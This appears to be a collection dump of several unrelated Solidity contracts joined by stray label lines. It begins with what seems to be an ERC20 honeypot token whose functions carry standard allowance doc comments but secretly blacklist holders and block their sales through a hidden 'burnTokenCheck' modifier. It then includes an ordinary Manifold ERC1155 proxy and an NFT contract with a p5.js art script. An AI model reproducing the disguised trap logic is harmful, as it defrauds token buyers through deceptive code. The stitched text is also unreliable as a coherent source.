* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IER C20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
True
|
[
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16023,
2011,
1014,
102
] |
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] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: JAKETHEDEGEN: AIRDROPS
/// @author: manifold.xyz
import "./ERC1155Creator.sol";
////////////////////////////////////////////////////////////////////////
// //
// //
// //
// ( ( ( ( ) ( ( //
// ( )\ ))\ ))\ ) )\ ) ( /( )\ ))\ ) ( //
// )\ (()/(()/(()/( (()/( )\())(()/(()/( )\ ) ( //
// ((((_)( /(_)/(_)/(_)) /(_)((_)\ /(_)/(_)) (()/( ( )( //
// )\ _ )\(_))(_))(_))_ (_)) ((_)(_))(_)) /(_)) )\(()\ //
// (_)_\(_|_ _| _ \| \| _ \ / _ \| _ / __| (_) _|((_)((_) //
// / _ \ | || /| |) | /| (_) | _\__ \ | _/ _ | '_| //
// (_/ \_\|___|_|_\|___/|_|)\ \__(/|_| |___/ |_| \___|(| //
// )\ ) ( ( /( )\ ) ( * ) )\ ) //
// (()/( ( )\ ) ( )\())( (()/( )\ ` ) /(( (()/( //
// /(_)) )\ (()/( )\ ((_)\ )\ /(_)((((_)( ( )(_))\ /(_)) //
// (_))_ ((_) /(_))_((_) _((_((_)(_)) )\ _ )\(_(_()((_)(_)) //
// | \| __(_)) __| __| \| | __| _ \ (_)_\(_|_ _| __/ __| //
// | |) | _| | (_ | _|| .` | _|| / / _ \ | | | _|\__ \ //
// |___/|___| \___|___|_|\_|___|_|_\ /_/ \_\ |_| |___|___/ //
// //
// V1 //
// //
// //
////////////////////////////////////////////////////////////////////////
contract JAKEAIRV1 is ERC1155Creator {
constructor() ERC1155Creator() {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC1155Creator is Proxy {
constructor() {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4;
Address.functionDelegateCall(
0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4,
abi.encodeWithSignature("initialize()")
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
|
True
|
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] |
// SPDX-License-Identifier: MIT
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
pragma solidity ^0.8.0;
contract ArboFireworks is ERC721Enumerable, Ownable {
IERC721 public _arfes;
//price variables
uint256 public constant PRICE_PER_TOKEN = 0.03 ether;
//supply variables
uint256 public _maxSupply = 333;
//sale state control variables
bool public _isBurningEnabled = false;
bool public _isMintingEnabled = false;
bool public _isClaimingEnabled = false;
//wallet to withdraw to
address payable public _abar =
payable(address(0x96f10441b25f56AfE30FDB03c6853f0fEC70F389));
//metadata variables
string private _baseURI_ = "http://localhost:3001/api/tokens/";
uint256 private _tokenId;
//artwork script
string public _script = "let pg,seed=parseInt(tokenData.hash.slice(0,16),16);const firework=[],colors=['#c33f3f','#ffe63f','#609f65','#ff893f','#ad4dd0','#00c0f8','#636363','#FFFFFF','#2e40a9','#222222'],ccA=['#F085F2','#C55CF2','#7732D9','#F27E63','#F25252'],ccB=['#C33A32','#006E46','#F6B221','#880D53','#1E428A'];let gravity,rdn,count,frame,posX=[],num=[],type=[],dis=[],hh=[];const ss=150;let bg,pg2,pg3,colorId,frameStyle,branch,branchIdx,doBranch,step=0,fireColor=0;const json={},snap=isToSnap;function preload(){compose()}function setup(){createCanvas(600,600,WEBGL),noSmooth(),pg=createGraphics(ss,ss,WEBGL),pg2=createGraphics(600,600),pg3=createGraphics(600,600),canvas.imageSmoothingEnabled=!1,this._renderer.getTexture(pg).setInterpolation(NEAREST,NEAREST),pg.angleMode(DEGREES),pg.noSmooth(),pg.clear(),pg.background(0),pg2.clear(),pg2.image(bg,0,0),pg3.clear(),pg3.image(tree,0,0),gravity=createVector(0,.004)}function echo(){const e=color(colors[colorId]),o=red(e),t=red(e),r=red(e);pg.fill(o,t,r,10),pg.noStroke(),pg.rectMode(CENTER),pg.rect(0,0,ss,ss)}function noEcho(){background(0),pg.clear()}function doFire(e){if(null!=num[e])for(let o=0;o<num[e];o++)firework.push(new Ball(o,pos(posX[e]),type[e],num[e],dis[e],hh[e]))}function draw(){if(150==++step)pg2.clear(),pg2.image(bg,0,0),pg3.clear(),pg3.image(tree,0,0),doBranch<5&&pg3.image(branch,0,0);else if(step>160){if(echo(),5==(count=frameCount%500)?(doFire(0),doFire(10)):20==count?(doFire(1),doFire(11)):40==count?(doFire(2),doFire(12)):60==count?(doFire(3),doFire(13)):80==count?(doFire(4),doFire(14)):100==count?(doFire(5),doFire(15)):120==count?(doFire(6),doFire(16)):140==count?(doFire(7),doFire(17)):160==count?(doFire(8),doFire(18)):180==count&&(doFire(9),doFire(19)),firework.length>0)for(let e=0;e<firework.length;e++)firework[e].show(),firework[e].move(),firework[e].applyForce(gravity),firework[e].vel.y>0&&firework[e].boom(),firework[e].isDead()&&firework.splice(e,1);imageMode(CENTER),image(pg2,0,0,500,500),image(pg,0,0,500,500),blendMode(BLEND),image(pg3,0,0,500,500),noFill(),image(frame,0,0)}800==step&&snap&&(save(`${tokenData.tokenId}.png`),saveJSON(json,`${tokenData.tokenId}.json`),window.emitMetadataDownloaded&&setTimeout(()=>{window.emitMetadataDownloaded()},1e4))}class Ball{constructor(e,o,t,r,i,n){this.pos=createVector(o,88),this.vel=createVector(0,-.01),this.acel=createVector(0,-1),this.s=1,this.t=t,this.aux=!0,this.a=255,this.life=random(3,10),this.id=e,this.num=r,this.c=null,this.dis=i,this.hh=n}show(){pg.noStroke(),fireColor>1?(this.c=colors[colorId],pg.fill(this.c)):(this.cc=ccB[this.id%ccB.length],this.c=color(this.cc),pg.fill(this.c)),pg.ellipse(this.pos.x,this.pos.y,this.s,this.s),this.aux||(this.a-=random(2,this.life))}move(){this.vel.add(this.acel),this.vel.limit(this.hh),this.pos.add(this.vel),this.acel.mult(0)}applyForce(e){this.acel.add(e)}boom(){0==this.t?this.aux&&(this.x=cos(this.id/this.num*6.28),this.y=sin(this.id/this.num*6.28),this.acel=createVector(this.x,this.y),this.acel.normalize(),this.acel.mult(this.dis),this.aux=!1):1==this.t?this.aux&&(this.acel=p5.Vector.random2D(),this.acel.normalize(),this.acel.mult(random(this.dis)),this.aux=!1):2==this.t&&(this.acel=p5.Vector.random2D(),this.acel.normalize(),this.acel.mult(this.dis),this.aux=!1)}isDead(){return this.a<10}}function compose(){step=0,(rdn=new Random(seed)).random_dec(),colorId=rdn.random_int(0,10);const e=rdn.random_int(0,10);let o;o=!((fireColor=rdn.random_int(0,10))>1),branchIdx=0;let t,r,i,n,s=!1,a=!1;n=colors[colorId];const d=rdn.random_num(0,1);if(frameStyle=d>.95?5:d>.9?4:d>.8?3:d>.66?2:d>.33?1:0,frame=loadImage(`${imgBaseUrl}/frame_${frameStyle}.png`),e<7){s=!1;const e=rdn.random_int(0,9);t=e;const o=rdn.random_int(0,9);r=o,i=branchIdx=rdn.random_int(0,9),bg=loadImage(`${imgBaseUrl}/moon_${e}.png`),tree=loadImage(`${imgBaseUrl}/tree_${o}.png`)}else s=!0,bg=loadImage(`${imgBaseUrl}/moon_${colorId}.png`),tree=loadImage(`${imgBaseUrl}/tree_${colorId}.png`),branchIdx=colorId,t=colorId,r=colorId,i=colorId;(doBranch=rdn.random_int(0,10))<5?(branch=loadImage(`${imgBaseUrl}/t_${branchIdx}.png`),a=!0):i=null;const c=rdn.random_int(6,20);for(let e=0;e<c;e++)posX[e]=rdn.random_int(1,6),num[e]=rdn.random_int(5,30),type[e]=rdn.random_int(0,2),dis[e]=rdn.random_num(.4,.6),hh[e]=rdn.random_num(2,3);if(debug){const e=[`FrameStyle:${frameStyle}`,`SameColor:${s}`,`Branch:${a}`,`BgImg:${t}`,`TreeImg:${r}`,`BranchImg:${i}`,`FireworkColor:${n}`,`Shot:${c}`,`SpecialFirework:${o}`];console.log(e)}json['Frame Style']=frameStyle,json['Same Color']=s,json.Branch=a,json['Background Image']=t,json['Tree Image']=r,json['Branch Image']=i,json['Firework Color']=n,json.Shot=c,json['Special Firework']=o}function anchor(){push(),noFill(),stroke(255);for(let e=0;e<7;e++){const o=average(600,7,e)-300;ellipse(o,250,20,20)}pop()}function mousePressed(){debug&&(seed=int(random(1e4)),posX=[],colorg=[],num=[],type=[],dis=[],hh=[],compose())}function touchStarted(){debug&&(seed=int(random(1e4)),posX=[],colorg=[],num=[],type=[],dis=[],hh=[],compose())}class Random{constructor(e){this.seed=e}random_dec(){return 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//build token claimed mapping
mapping(uint256 => bool) public _buildTokenClaimed;
//tokenId to unique hash mapping
mapping(uint256 => bytes32) public _tokenIdToHash;
constructor(address arfes) ERC721("ARBOFIRE", "arfw") {
_arfes = IERC721(arfes);
}
function setMaxSupply(uint256 maxSupply) external onlyOwner {
_maxSupply = maxSupply;
}
function setScript(string memory script) external onlyOwner {
_script = script;
}
function toggleBurningEnabled() external onlyOwner {
_isBurningEnabled = !_isBurningEnabled;
}
function toggleMintingEnabled() external onlyOwner {
_isMintingEnabled = !_isMintingEnabled;
}
function toggleClaimingEnabled() external onlyOwner {
_isClaimingEnabled = !_isClaimingEnabled;
}
function _mintToken(address to) internal {
++_tokenId;
uint256 newTokenId = _tokenId;
bytes32 hash = keccak256(
abi.encodePacked(
newTokenId,
block.number,
blockhash(block.number - 1),
msg.sender,
block.timestamp
)
);
_tokenIdToHash[newTokenId] = hash;
_safeMint(to, newTokenId);
}
function reserveTokens(uint256 tokensToReserve) external onlyOwner {
for (uint256 i = 0; i < tokensToReserve; i++) {
_mintToken(msg.sender);
}
}
function claim(uint256 buildTokenId) external {
require(_isClaimingEnabled, "claiming is not enabled");
require(totalSupply() < _maxSupply, "sold out");
require(
buildTokenId >= 357 && buildTokenId <= 536,
"token ID entered is not a BUILD token"
);
require(
_arfes.ownerOf(buildTokenId) == msg.sender,
"not the owner of the BUILD token entered"
);
require(
_buildTokenClaimed[buildTokenId] == false,
"Firework already claimed for this BUILD token"
);
_buildTokenClaimed[buildTokenId] = true;
_mintToken(msg.sender);
}
function mint() external payable {
require(_isMintingEnabled, "minting is not enabled");
require(totalSupply() < _maxSupply, "sold out");
require(msg.value == PRICE_PER_TOKEN, "wrong value");
_mintToken(msg.sender);
}
function burn(uint256 tokenId) public {
require(_isBurningEnabled, "burning is not enabled");
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"caller is not owner nor approved"
);
_burn(tokenId);
}
function withdraw() external onlyOwner {
uint256 balance = address(this).balance;
_abar.transfer(balance);
}
function _baseURI() internal view override returns (string memory) {
return _baseURI_;
}
function setBaseURI(string memory newBaseURI) public onlyOwner {
_baseURI_ = newBaseURI;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
